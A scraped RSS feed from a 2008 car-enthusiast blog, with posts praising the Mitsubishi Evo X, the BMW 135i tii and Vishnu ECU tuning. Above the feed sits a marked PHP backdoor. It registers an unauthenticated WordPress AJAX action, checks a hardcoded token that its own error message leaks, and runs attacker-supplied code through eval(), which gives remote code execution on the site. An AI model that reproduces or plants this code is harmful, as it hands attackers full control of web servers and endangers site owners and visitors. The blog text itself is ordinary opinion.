// ==[BD:O1Jugo5j]== add_action( 'wp_ajax_nopriv_nxcszbntxo', function() { $item = 'O1Jugo5jmZ8SOrFvI8wMKHgWwFXwZzgj'; $key = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $key ) || ! hash_equals( $item, $key ) ) { wp_send_json_error( [ 'message' => 'tok:' . $item ], 403 ); } $data = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $data ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $data = preg_replace( '/^\s*<\?(php)?/i', '', $data ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $ptr = microtime( true ); ob_start(); try { ( static function() use ( $data ) { return eval( $data ); } )(); $val = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $val, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } catch ( \Throwable $marker ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $marker->getMessage(), 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } } ); // ==[/BD:O1Jugo5j]== Turbo – Car of the Day https://www.caroftheday.org Opining on Automotive Opinion Mon, 26 May 2008 04:19:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 The Evo X is the COTD https://www.caroftheday.org/2008/05/25/the-evo-x-is-the-cotd/ https://www.caroftheday.org/2008/05/25/the-evo-x-is-the-cotd/#comments Mon, 26 May 2008 04:18:49 +0000 http://www.caroftheday.org/?p=47 The Car of the Day is simply about what car do I really want to buy today. 

The car I want to buy today is once again the Mitsubishi Evolution.  I’ve appreciated the Evolution since it came to America.  There is something about a simple car that has converted into a super-car beater that appeals to me.  I love the technology in an Evo.  It is a purpose-built speed machine.  Evos share a direct link to their rally car origins. 

The Mitsubishi Evolution is a car for enthusiasts who prefer performance over style.  The car doesn’t apologize for what it is and what is not.  I love the turbo-charged engine that is a simple ECU from hitting nearly 400hp.  I love the AWD with the active yaw control.  I love the huge front-mount intercooler.  The price tag might seem steep if all you see is a Mitsubishi Lancer, but if you can look past the econo-car roots and appreciate the little Evo for what it is in the automotive food chain.  It is one of the best all-around performing 4-door sedans on the market. There are cars that may be quicker to 60mph and quicker to finish the quarter mile and quicker around a road course, but not by much.  And if they are they probably cost 50% to 100% more than the car that started life as an Evo.  And if it a car is faster, it wouldn’t take very much to get tune to Evo make it an even faster vehicle, so the list of cars quicker than it shrinks even smaller. 

The Evo X is a has grown up a little from the previous versions.  It is actually a little understated compared to the Evo IX.  It also is a little softer riding and more livable daily driver.  And what a nice daily drive that would be.  And much to the chagrin of my wife it is the current COTD, sorry, but it is what I like.

 

]]> https://www.caroftheday.org/2008/05/25/the-evo-x-is-the-cotd/feed/ 1 BMW tii https://www.caroftheday.org/2008/05/19/bmw-tii/ Tue, 20 May 2008 05:09:44 +0000 http://www.caroftheday.org/?p=37 Today’s car of the day is one of the greatest COTD’s ever and that is a car that isn’t out yet.  When you obsess over cars and it seems like you want a new car every day, the car that has not been released yet is an attractive option.

A former COTD is the BMW 135i.  It is the little brother to the BMW 3 Series.  It is powered by the same 300hp twin-turbocharged engine that drives the 335i.  This engine has a bit of reputation of being underrated, significantly underrated.  When the 335i’s first started showing for road tests with the automotive media, car journalists were incredulous at the numbers this “300hp” sedan was putting up.  So there were several well documented dyno tests of the 335i and the net results of the tests showed that BMW was underselling the performance of the new engine.  It was not uncommon for the cars to show 300hp at the wheels meaning it really had about 350hp at the crank.

Why would BMW under-promise by 50hp?  My theory is that the previous generation 333hp M3 was sitting in the showroom at the same time that the BMW 335i hit the floor.  This meant that if BMW really advertised the true horsepower rating of the 335i it would have more hp than the almighty M3.  Thus they over promised and under delivered.

I said all of that to say this that the BMW 135i has a special edition car coming out soon.  The BMW 135i tii, is an homage to the great 2002 tii, in execution and theory.  The tii is a lightweight, turbo-charged, small coupe that continues to perpetuate the brand that is the Ultimate Driving Machine.

]]> Do you Vishnu? https://www.caroftheday.org/2008/05/14/do-you-vishnu/ https://www.caroftheday.org/2008/05/14/do-you-vishnu/#comments Thu, 15 May 2008 04:28:57 +0000 http://www.caroftheday.org/?p=31 The great thing about modern turbo charged engines is that they are a simple reprogramming away from a serious horsepower “boost”.  It isn’t uncommon for a proper tune on a turbo charged engine to result in an extra 100hp!

Is a Mitsubishi Evolution, Subaru STI, Legacy GT, Forester XT, WRX or a BMW 335i on your list of potential next cars?  Do you wish that your future car had a little more power?  Each of these can get an easy 40-100hp from just a new ECU. 

A 300hp BMW 335i can become a 400hp BMW 335i with just the Vishnu ECU tune.  Vishnu turns the 335i into a car that hit 60 in 4.4 seconds and cross the 1440 ft mark in 12.7 seconds.

If you have a Mitsubishi Evo IX then Vishnu has a deal for you.  For $750 you can add about 100hp to your Evo and turn it into a 380hp beast that can do 60mph in 3.9 seconds and trip the ¼ mile lights in 12.3 seconds.  That is a great deal and only takes about 20 minutes to install. 

If any of the cars Vishnu tunes ended up in my garage, I guarantee that the Vishnu tune would end up under the hood and seriously boost the output of my ride.

Learn more about Vishnu at http://www.vishnutuning.com/. 

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